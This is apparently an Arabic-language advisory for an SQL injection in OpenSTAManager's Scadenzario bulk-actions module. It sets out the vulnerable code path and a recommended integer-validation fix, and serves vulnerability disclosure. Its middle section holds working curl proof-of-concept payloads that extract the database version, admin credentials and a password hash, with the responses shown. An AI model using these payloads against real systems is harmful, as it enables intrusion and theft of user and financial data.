
CVE-2026-24418 - يحتوي OpenSTAManager على ثغرة SQL Injection في وحدة العمليات الجماعية Scadenzario
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-24418 |
| الخطورة | عالية |
| التنبيه الأمني | عرض التنبيه |
| اكتشفها | Lukasz Rybak |
ثغرة حرجة لحقن SQL المبني على الأخطاء في وحدة العمليات المجمعة Scadenzario (جدول الدفع) في OpenSTAManager v2.9.8 تسمح للمهاجمين المصادَق عليهم باستخراج المحتويات الكاملة لقاعدة البيانات بما في ذلك بيانات اعتماد المستخدمين والبيانات الشخصية للعملاء والسجلات المالية عبر رسائل خطأ XML.
الحالة: ✅ مؤكدة ومُختبَرة على مثيل مباشر (v2.9.8)
المعامل المعرض للخطر: id_records[] (مصفوفة POST)
المنفذ المتأثر: /actions.php?id_module=18 (وحدة Scadenzario)
نوع الهجوم: حقن SQL المبني على الأخطاء (عبارة IN)
يحتوي OpenSTAManager v2.9.8 على ثغرة حرجة لحقن SQL المبني على الأخطاء في معالج العمليات المجمعة لوحدة Scadenzario (جدول الدفع). يفشل التطبيق في التحقق من أن عناصر مصفوفة id_records أعداد صحيحة قبل استخدامها في عبارة IN() الخاصة بـ SQL، مما يسمح للمهاجمين بحقن أوامر SQL عشوائية واستخراج بيانات حساسة عبر رسائل خطأ XPATH.
سلسلة الثغرة:
نقطة الدخول: /actions.php (الأسطر 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
تقوم دالة array_clean() فقط بإزالة القيم الفارغة - ولا تتحقق من الأنواع.
الدالة المعرضة للخطر: /lib/util.php (الأسطر 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
التأثير: تقوم الدالة بتصفية القيم الفارغة ولكنها تقبل أي قيمة غير فارغة، بما في ذلك حمولات حقن SQL.
نقطة حقن SQL: /modules/scadenzario/bulk.php (السطر 88) الثغرة الرئيسية
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
تحليل السبب الجذري:
توجد الثغرة للأسباب التالية:
post('id_records') يُرجع مصفوفة يتحكم بها المستخدمarray_clean() يزيل القيم الفارغة فقط، وليس القيم غير الصحيحةimplode(',', $id_records) يدمج عناصر المصفوفة مباشرة في استعلام SQLid_records[]=1&id_records[]=(MALICIOUS SQL)#مسار الكود المتأثر:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
الخطوة 1: تسجيل الدخول
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
الخطوة 2: التحقق من الثغرة (حقن SQL المبني على الأخطاء)
الاختبار 1: استخراج مستخدم قاعدة البيانات والإصدار
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
الاستجابة (رسالة الخطأ الظاهرة للمهاجم):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
الاختبار 2: استخراج بيانات اعتماد المسؤول
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
الاستجابة:
<code>XPATH syntax error: '~admin:[email protected]'</code>
الاختبار 3: استخراج تجزئة كلمة المرور (الجزء 1 - أول 31 حرفًا)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
الاستجابة:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
الاختبار 4: استخراج تجزئة كلمة المرور (الجزء 2 - الأحرف 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
الاستجابة:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
تجزئة كلمة المرور المجمعة:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**جميع المستخدمين المصادَق عليهم الذين لديهم حق الوصول إلى العمليات المجمعة لوحدة Scadenzario (جدول الدفع).
الإصلاح الموصى به:
الإصلاح الأساسي - التحقق من النوع:
الملف: /modules/scadenzario/bulk.php
قبل (المعرضة للخطر - السطر 88):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
بعد (الإصلاح):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
تم الاكتشاف بواسطة Łukasz Rybak
تم الإبلاغ عن CVE-2026-24418 بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.
التأثير: يتم دمج عناصر المصفوفة من $id_records مباشرة باستخدام implode() دون التحقق من النوع أو prepare()، مما يتيح حقن SQL كامل.